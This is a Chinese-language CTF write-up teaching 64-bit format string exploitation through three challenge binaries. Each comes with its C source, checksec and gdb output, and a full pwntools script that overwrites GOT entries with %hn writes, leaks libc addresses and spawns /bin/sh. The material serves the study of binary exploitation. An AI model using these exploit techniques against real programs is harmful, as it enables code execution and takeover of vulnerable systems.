从五个例子来理解格式化字符串漏洞(一)
fsb_easy
源码贴一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <signal.h> void echo () { char buf[0x200 ]; memset (buf, 0 , sizeof (buf)); fgets(buf, sizeof (buf), stdin ); printf (buf); puts ("\nain't it cool, bye now" ); } void getshell () { system("/bin/sh" ); } void timeout () { puts ("Time is up" ); exit (1 ); } void welcome () { setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); char welcome[] = "================================================\n" "Welcome to the super echo-mom system, it will \n" "echo anything you said, like:\n\n" "Melody: I wanna a flag, mom\n" "Mom: I wanna a flag, mom\n" "================================================\n" ; puts (welcome); signal(SIGALRM, timeout); alarm(5 ); } int main (int argc, char const *argv[]) { welcome(); echo(); return 0 ; }
checksec看一下:
1 2 3 4 5 6 7 root@kali :~/Desktop/release [*] '/root/Desktop/release/fsb_easy' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
看到NX和Canary 都开了,但发现可以改写got表,也没有开PIE
加载到IDA找到一个明显的格式化字符串漏洞,同时发现有getshell函数
运行程序尝试打印%p
可以看到我们输入的第一个参数是放在第六个参数上
注:x64的程序的参数是先放在$rdi, $rsi, $rdx, $rcx, $r8, $r9
,其次再依次放到栈上
然后我们要怎样利用这个漏洞呢?主要的思想就是要把puts_got指向的地址改为getshell函数的地址,当调用puts函数的时候就会成功跳转到system地址去执行,即可getshell。
怎样改puts_got地址呢?了解过格式化字符串漏洞 的同学都知道%n
的威力,可以把一个任意值写到任意地址上,因此就有一个任意地址写的功能。
%n
功能是将%n之前printf已经打印的字符个数赋值给传入的指针。通过%n我们就可以修改内存中的值了
其中
1 2 3 4 5 %n -->4字节%lln -->8字节%lx -->8字节(64位)%hn -->2字节%hhn -->1字节
然后我们需要用%{}c%{}$hn
实现把特定的的值写到第几个参数的地址上,然后这个参数的地址已经被我们写好了的。
1 2 3 4 5 addr [0 x601018 ] = 0 x08 c9 addr [0 x60101 a] = 0 x0040 addr [0 x60101 c] = 0 x0000 addr [0 x60101 e] = 0 x0000 0x601018 => 0 x004008 c9
其中要注意的是我们的%n是把前面打印出来的所有字符数量写入地址,但是又因为其是两个字节大小(最大值为0xffff),所以如果值为0x10000
等价于0x0000
就是利用这一点就可以把某个特定值写到特定地址上了。
写出脚本
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context(terminal = 'zsh' ) p = process('fsb_easy' ) elf = ELF('fsb_easy' ) puts_got = elf.got["puts" ] print hex(puts_got)get_shell = 0x4008c9 ''' addr[0x601018] = 0x08c9 addr[0x60101a] = 0x0040 addr[0x60101c] = 0x0000 addr[0x60101e] = 0x0000 0x601018 => 0x004008c9 ''' def s_sub (a,b ): if a<b: return 0x10000 + a - b return a - b n = 6 + 8 pattern = "%{}c%{}$hn" payload = "" payload += pattern.format(0x8c9 ,n) payload += pattern.format(s_sub(0x40 ,0x8c9 ),n+1 ) payload += pattern.format(s_sub(0 ,0x40 ),n+2 ) payload = payload.ljust(64 ,"A" ) payload += p64(0x601018 ) payload += p64(0x60101a ) payload += p64(0x60101c ) pause() p.sendline(payload) p.interactive()
fsb_inf
放上源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <signal.h> void echo () { char buf[0x200 ]; memset (buf, 0 , sizeof (buf)); fgets(buf, sizeof (buf), stdin ); printf (buf); puts ("\nain't it cool, bye now" ); } void timeout () { puts ("Time is up" ); exit (1 ); } void welcome () { setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); char welcome[] = "================================================\n" "Welcome to the super echo-mon-better system, it \n" "will echo anything you said, like:\n\n" "Melody: I wanna a flag, mom\n" "Mom: I wanna a flag, mom\n" "================================================\n" ; puts (welcome); signal(SIGALRM, timeout); alarm(5 ); } int main (int argc, char const *argv[]) { int i = 0 ; welcome(); for (i = 0 ; i < 100 ; ++i) { echo(); } return 0 ; }
首先checksec看下开的保护
1 2 3 4 5 6 7 8 root@kali :~/Desktop/release [*] '/root/Desktop/release/fsb_inf' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
其次加载到IDA查看详细程序代码,找到漏洞同样是格式化字符串漏洞:
但是与上一题不一样的地方有两个,这题没有getshell函数,但是在echo()多了一个循环,这也就意味着我们可以利用多次格式化字符串漏洞来写地址或者执行某个程序。
所以我们的漏洞利用思路就出来了,首先leak出system的地址,然后我们利用写某个函数的got表来跳转到system地址,因为这里有多次循环执行,所以我们就可以多次执行,这次布置好利用环境,下次循环的时候再send一个payload执行想要的东西。
首先分为三步:
step1
首先要泄露出system的地址,当然system的地址是在libc库里面存放的,所以我们首先想要的就是泄露libc的基地址。这里用到一个比较常用到的一个知识,从下图可以知道每个程序加载都要把main函数的地址当作一个参数存到rdi中,然后就call那个___libc_start_main
,也就是说main函数执行完之后就会返回到___libc_start_main
这个函数里面去。
然后我们执行程序,查看rsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 gdb -peda$ x /80 xg $rsp0x7fffffffdda8 : 0 x0000000000400868 0 x00000 a4141414141 0x7fffffffddb8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffddc8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffddd8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdde8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffddf8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde08 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde18 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde28 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde38 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde48 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde58 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde68 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde78 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde88 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffde98 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdea8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdeb8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdec8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffded8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdee8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdef8 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf08 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf18 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf28 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf38 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf48 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf58 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf68 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf78 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf88 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdf98 : 0 x0000000000000000 0 x0000000000000000 0x7fffffffdfa8 : 0 x0000000000000000 0 x0000000000000001 0x7fffffffdfb8 : 0 xb419 dbca1 e0 b7500 0 x00007 fffffffdff0 0x7fffffffdfc8 : 0 x00000000004009 a2 0 x00007 fffffffe0 d8 0x7fffffffdfd8 : 0 x0000000100400710 0 x00007 fffffffe0 d0 0x7fffffffdfe8 : 0 x0000000000000000 0 x00000000004009 c0 0x7fffffffdff8 : 0 x00007 ffff7 a5 c2 e1 0 x0000000000000000 0x7fffffffe008 : 0 x00007 fffffffe0 d8 0 x0000000100000000 0x7fffffffe018 : 0 x000000000040096 f 0 x0000000000000000
在printf上下了一个断点
从0x7fffffffdda80
到0x7fffffffdfa8
都是buf,然后0x7fffffffdfb8
里面存放的0xb419dbca1e0b7500
,因为其后俩位都是0,而Canary 这个随机生成值的特点就是后两位为0,所以其紧接着后面是echo()函数里面的rbp,再到ret(从IDA的main函数里面call echo那句指令的下一个指令的地址,因为执行完echo函数了嘛,如图),然后又可以看到这个rbp是指向0x00000000004009c0-->0x00000000004009c0
也就是前一个rbp(也就是main函数的),再到ret(也就是main函数的返回地址,也就是libc库里面的地址)
插入leak对于在libc库里面的那个地址(偏移不会变,但地址会变)
因为0x7fffffffdda8
是第六个地址,可以计算得到0x00007ffff7a5c2e1
是第79个参数地址,然后用格式化字符串漏洞打印出来即可
1 2 3 4 5 6 7 8 9 payload = "" payload += "%78$p.%79$p.%80$p" p.recv() p.sendline(payload) p.recvuntil("." ) libc_start_main_ret = int (p.recvuntil("." ,drop = True),16 ) print hex (libc_start_main_ret)
然后继续分析
1 2 3 4 5 6 7 8 9 gdb-peda$ bt #0 __printf (format=0x7fffffffddb0 "AAAAA\n" ) at printf.c:28 #1 0x0000000000400868 in echo () #2 0x00000000004009a2 in main () #3 0x00007ffff7a5c2e1 in __libc_start_main (main=0x40096f <main>, argc=0x1 , argv=0x7fffffffe0d8 , init=<optimized out >, fini=<optimized out >, rtld_fini=<optimized out >, stack_end=0x7fffffffe0c8 ) at ../csu/libc-start.c:291 #4 0x0000000000400739 in _start ()
从上面的栈信息可以知道先是printf的返回地址(0x400868 ),然后是执行完echo函数得到的返回地址(0x4009a2),然后执行完main函数的返回地址就是0x00007ffff7a5c2e1
,也就是__libc_start_main 里面的一个地址,也就是libc里面的地址,我们xinfo看一下这个地址的信息:
1 2 3 4 5 6 7 8 gdb -peda$ xinfo 0 x00007 ffff7 a5 c2 e1 0x7ffff7a5c2e1 (<__libc_start_main+241 >: mov edi,eax)Virtual memory mapping:Start : 0 x00007 ffff7 a3 c000 End : 0 x00007 ffff7 bcf000 Offset : 0 x202 e1 Perm : r-xpName : /lib/x86 _64 -linux-gnu/libc-2 .24 .so
可以看到这确实是libc库里面的地址,而且知道偏移量为0x202e1
,这样的话,libc的基地址就出来了;然后system的地址有两个办法可以得到,一个是利用gdb直接打印其地址找到偏移量计算system地址,第二种方法是利用libc-database这类的工具根据libc的基地址找到对应的libc版本。
还有个在线的libc_search:但是可能不是很方便,但也记录一下
首先介绍第一种办法:
直接打印system地址和printf的地址(后面要改printf的got表)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 gdb-peda$ p system $1 = {<text variable , no debug info> } 0x7ffff7a7b480 <__libc_system> gdb-peda$ xinfo 0x7ffff7a7b480 0x7ffff7a7b480 (<__libc_system>: test rdi,rdi) Virtual memory mapping: Start : 0x00007ffff7a3c000 End : 0x00007ffff7bcf000 Offset: 0x3f480 Perm : r-xp Name : /lib/x86_64-linux-gnu/libc-2.24.so gdb-peda$ Quit gdb-peda$ p printf $2 = {<text variable , no debug info> } 0x7ffff7a8b190 <__printf> gdb-peda$ xinfo 0x7ffff7a8b190 0x7ffff7a8b190 (<__printf>: sub rsp,0xd8) Virtual memory mapping: Start : 0x00007ffff7a3c000 End : 0x00007ffff7bcf000 Offset: 0x4f190 Perm : r-xp Name : /lib/x86_64-linux-gnu/libc-2.24.so
得到对应的偏移,然后计算:
1 2 3 4 5 libc_base = libc_start_main_ret - 0 x202 e1 system_addr = libc_base + 0 x3 f480 printf_addr = libc_base + 0 x4 f190 print hex(system_addr)print hex(printf_addr)
介绍第二种方法:
libc-database
安装链接 ,其实都是用的这个
直接把下面这段代码粘贴到你想要安装的路径下的命令行窗口直接运行安装:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/bash -ex [ -e libc-database ] || git clone https://github.com/niklasb/libc-database mkdir -p bin for i in add dump find get identifydo cat <<END > bin/libc-database-$i cd $PWD /libc-database/./$i "$@ " END chmod 755 bin/libc-database-$i done bin/libc-database-get
安装过程可能有点久,毕竟有这么多版本的库是吧~
安装完成后我们就可以使用它来识别libc的版本了
首先可以看下其使用方法:cat README.md
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Fetch all the configured libc versions and extract the symbol offsets. It will not download anything twice, so you can also use it to update your database: $ ./get You can also add a custom libc to your database. $ ./add /usr/lib/libc-2.21 .so Find all the libc's in the database that have the given names at the given addresses. Only the last 12 bits are checked, because randomization usually works on page size level. $ ./find printf 260 puts f30 archive-glibc (id libc6_2.19 -10 ubuntu2_i386) Find a libc from the leaked return address into __libc_start_main. $ ./find __libc_start_main_ret a83 ubuntu-trusty-i386-libc6 (id libc6_2.19 -0 ubuntu6.6 _i386) archive-eglibc (id libc6_2.19 -0 ubuntu6_i386) ubuntu-utopic-i386-libc6 (id libc6_2.19 -10 ubuntu2.3 _i386) archive-glibc (id libc6_2.19 -10 ubuntu2_i386) archive-glibc (id libc6_2.19 -15 ubuntu2_i386) Dump some useful offsets, given a libc ID. You can also provide your own names to dump. $ ./dump libc6_2.19 -0 ubuntu6.6 _i386 offset___libc_start_main_ret = 0x19a83 offset_system = 0x00040190 offset_dup2 = 0x000db590 offset_recv = 0x000ed2d0 offset_str_bin_sh = 0x160a24 Check whether a library is already in the database. $ ./identify /usr/lib/libc.so.6 id local -f706181f06104ef6c7008c066290ea47aa4a82c5
./find __libc_start_main_ret 2e1
但是并没有找到,web版的search也没有找到对应版本。。。
但是一般是可以找到的
./dump 相应的libc版本
就可以了
但是我这个比较特殊,因为还没有收集好大部分的libc库,所以没有办法找到对应的地址,如果大佬们有方法可以找到所有地址,还请大佬可以告诉我[期待的小眼神]。这里是少了2.24的
那我们就可以导入本地库函数:
这样就可以了。。。
有个system地址,剩下的内容就跟第一题差不多了,先写好got表,这里写printf的got表,因为puts的参数已经是一串给定的字符,没有办法更改来传参,所以直接用printf来做,下一次循环进来再直接给一个/bin/sh\x00
参数运行即可getshell。
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * p = process('fsb_inf' ) elf = ELF('fsb_inf' ) def s_sub(a,b): if a<b: return 0x10000 + a - b return a - b payload = "" payload += "%78$p.%79$p.%80$p" p.recv() p.sendline(payload) p.recvuntil("." ) libc_start_main_ret = int (p.recvuntil("." ,drop = True),16 ) print hex (libc_start_main_ret)log.info("libc_start_main_ret addr: " + hex (libc_start_main_ret)) libc_base = libc_start_main_ret - 0x202e1 system_addr = libc_base + 0x3f480 printf_addr = libc_base + 0x4f190 print hex (system_addr)print hex (printf_addr)pause() pattern = "%{}c%{}$hn" n = 6 + 4 system_low = system_addr & 0xffff system_high = (system_addr >> 16 ) & 0xffff print hex (system_addr)print hex (system_low)print hex (system_high)payload = "" payload += pattern.format(system_low , n) payload += pattern.format(s_sub(system_high ,system_low) , n+1 ) payload = payload.ljust(32 , "A" ) payload += p64(elf.got["printf" ]) payload += p64(elf.got["printf" ] + 2 ) pause() p.sendline(payload) p.sendline("/bin/sh\x00" ) p.interactive()
fsb_one
参考文章
贴上源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <signal.h> void echo () { char buf[0x200 ]; memset (buf, 0 , sizeof (buf)); fgets(buf, sizeof (buf), stdin ); printf (buf); puts ("\nain't it cool, bye now" ); } void timeout () { puts ("Time is up" ); exit (1 ); } void welcome () { setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); char welcome[] = "================================================\n" "Welcome to the super echo-mon-better system, it \n" "will echo anything you said, like:\n\n" "Melody: I wanna a flag, mom\n" "Mom: I wanna a flag, mom\n" "================================================\n" ; puts (welcome); signal(SIGALRM, timeout); alarm(5 ); } int main (int argc, char const *argv[]) { welcome(); echo(); return 0 ; }
checksec 看一下开的保护:
1 2 3 4 5 6 7 root@kali :~/Desktop/release [*] '/root/Desktop/release/fsb_one' Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
然后IDA载入分析漏洞
程序不但没有了getshell函数,同时也没有了循环,不能多次利用格式化字符串漏洞。但是我们还是可以修改got表,所以我们没有for循环,但是可以利用修改puts的got表来制造循环,从而形成可以多次利用格式化字符串漏洞。最后这道题其实就是第一题和第二题的结合版了吧。
首先我们先修改puts的got表为echo()的地址,构成循环。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 echo = 0 x400806 n = 6 + 8 pattern = "%{}c%{}$hn" #{}里面最大是五位数0 x1000 -->65536 (四个字节)payload = "" payload += pattern.format(0 x806 ,n)payload += pattern.format(s_sub(0 x40 ,0 x806 ),n+1 )payload += pattern.format(s_sub(0 ,0 x40 ),n+2 )payload = payload.ljust(64 ,"A" )payload += p64 (0 x601018 )payload += p64 (0 x60101 a)payload += p64 (0 x60101 c)p .sendline(payload)
效果如图:
第一步完成了,然后是第二步的构造,修改printf的got表为system的地址,但需要注意的是参数位置的选定,每次调用puts的时候call echo
,栈都会往上抬一个很大的字节,也就是每次参数的偏移量都会发生改变。
找这个libc地址也是醉了,超级远(错的)
好吧,试了好多次,发现规律不是上面那个图这样找的;
找规律历程:(错的)
这个规律找的我确实心累,最后请教了大佬,发现我调试的过程错了;下面进入正题,以上请忽略。
首先我们需要明白每次call puts之后跳回echo函数重新调用,栈的高度都会变化,但需要注意的是他是往低地址增长的。
如图,这是我分别echo了3、4、5次的__libc_start_main_ret
的地址和rsp地址的差值,会发现每echo多一次,__libc_start_main_ret
的地址都不会发生改变,都是0x7ffc84c43ed8
,而rsp的地址却是随着echo被循环调用的次数增多,他都会依次变小,计算得到,每增加一次echo,栈的rsp会往下递减68*8=544=0x220
的数值。因此就可以得到每次echo,栈指针都会递减0x220;因此__libc_start_main_ret
对应的参数量也要增加68个这样子。最后得到规律如下:
1 2 3 4 5 6 echo()---1 ---71 +6 个参数为__libc_start_main_ret echo()---2 ---139 +6 个参数为__libc_start_main_ret echo()---3 ---207 +6 个参数为__libc_start_main_ret echo()---4 ---275 +6 个参数为__libc_start_main_ret echo()---5 ---343 +6 个参数为__libc_start_main_ret
注:找到与rsp的偏移量之后要加上6这个参数值,rsp对应值是第六个参数
我做的时候不熟练,过程很艰辛,下面给大家调试的方法:
首先在p.sendline(payload1)的前面做一个pause()
然后运行脚本,gdb fsb_one
,然后ra fsb_one
,断下来之后,首先在printf下断点,注意不能直接b printf
,要在IDA中找到call printf的值,这里下断点b *0x400863
然后按c继续执行,随后在脚本运行的命令框里终结pause(),回到gdb就可以开始看相关的地址,找参数进行计算偏移了
同时如果要多个echo,可以首先在gdb里面c继续执行,然后在脚本运行命令框上写你要写的东西。回车,gdb那边就停下来了,就可以看相关的参数了
栈的相关信息(这个是三次echo()之后的栈信息):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gdb -peda$ bt at fileops.c:600 at genops.c:413 fp =fp@entry=0 x7 f93544 f08 c0 <_IO_2 _1 _stdin_>, buf=buf@entry=0 x7 ffd3 a2 b36 c0 "" , n=0 x1 ff, delim =delim@entry=0 xa, extract_delim=extract_delim@entry=0 x1 , eof=eof@entry=0 x0 ) at iogetline.c:60 buf =buf@entry=0 x7 ffd3 a2 b36 c0 "" , n=<optimized out>, delim=delim@entry=0 xa, extract_delim =extract_delim@entry=0 x1 ) at iogetline.c:34 fp =0 x7 f93544 f08 c0 <_IO_2 _1 _stdin_>) at iofgets.c:53 argv =0 x7 ffd3 a2 b3 e18 , init=<optimized out>, fini=<optimized out>, rtld_fini =<optimized out>, stack_end=0 x7 ffd3 a2 b3 e08 ) at ../csu/libc-start.c:291
然后是一些函数偏移的地址信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 gdb-peda$ xinfo 0x00007f9ec4da32e1 0x7f9ec4da32e1 (<__libc_start_main+241>: mov edi,eax) Virtual memory mapping: Start : 0x00007f9ec4d83000 End : 0x00007f9ec4f16000 Offset: 0x202e1 Perm : r-xp Name : /lib/x86_64-linux-gnu/libc-2.24.so gdb-peda$ p system $1 = {<text variable , no debug info> } 0x7f9ec4dc2480 <__libc_system> gdb-peda$ xinfo 0x7f9ec4dc2480 0x7f9ec4dc2480 (<__libc_system>: test rdi,rdi) Virtual memory mapping: Start : 0x00007f9ec4d83000 End : 0x00007f9ec4f16000 Offset: 0x3f480 Perm : r-xp Name : /lib/x86_64-linux-gnu/libc-2.24.so gdb-peda$ p printf $2 = {<text variable , no debug info> } 0x7f9ec4dd2190 <__printf> gdb-peda$ xinfo 0x7f9ec4dd2190 0x7f9ec4dd2190 (<__printf>: sub rsp,0xd8) Virtual memory mapping: Start : 0x00007f9ec4d83000 End : 0x00007f9ec4f16000 Offset: 0x4f190 Perm : r-xp Name : /lib/x86_64-linux-gnu/libc-2.24.so
成功打印出__libc_start_main
的地址。
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import * p = process('fsb_one') elf = ELF('fsb_one') puts_got = elf.got["puts" ] print hex(puts_got) echo = 0x400806 ''' addr[0x601018] = 0x0806 addr[0x60101a] = 0x0040 addr[0x60101c] = 0x0000 addr[0x60101e] = 0x0000 0x601018 => 0x00400806 ''' def s_sub(a,b): if a<b: return 0x10000 + a - b return a - b n = 6 + 8 pattern = "%{}c%{}$hn" payload1 = "" payload1 += pattern.format(0x806,n) payload1 += pattern.format(s_sub(0x40,0x806),n+1) payload1 += pattern.format(s_sub(0,0x40),n+2) payload1 = payload1.ljust(64,"A" ) payload1 += p64(0x601018) payload1 += p64(0x60101a) payload1 += p64(0x60101c) p.sendline(payload1) payload2 = "" payload2 += "%144$p.%145$p.%146$p" pause() p.sendline(payload2) p.recvuntil("." ) libc_start_main_ret = int(p.recvuntil("." ,drop = True),16) log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret)) libc_base = libc_start_main_ret - 0x202e1 system_addr = libc_base + 0x3f480 printf_addr = libc_base + 0x4f190 log.info("system_addr addr: " + hex(system_addr)) log.info("printf_addr addr: " + hex(printf_addr)) print hex(elf.got["printf" ]) pattern = "%{}c%{}$hn" n = 6 + 4 system_low = system_addr & 0xffff system_high = (system_addr >> 16) & 0xffff log.info("system_low addr: " + hex(system_low)) log.info("system_high addr: " + hex(system_high)) payload3 = "" payload3 += pattern.format(system_low , n) payload3 += pattern.format(s_sub(system_high ,system_low) , n+1) payload3 = payload3.ljust(32 , "B" ) payload3 += p64(elf.got["printf" ]) payload3 += p64(elf.got["printf" ] + 2) pause() p.sendline(payload3) p.sendline("/bin/sh\x00" ) p.interactive()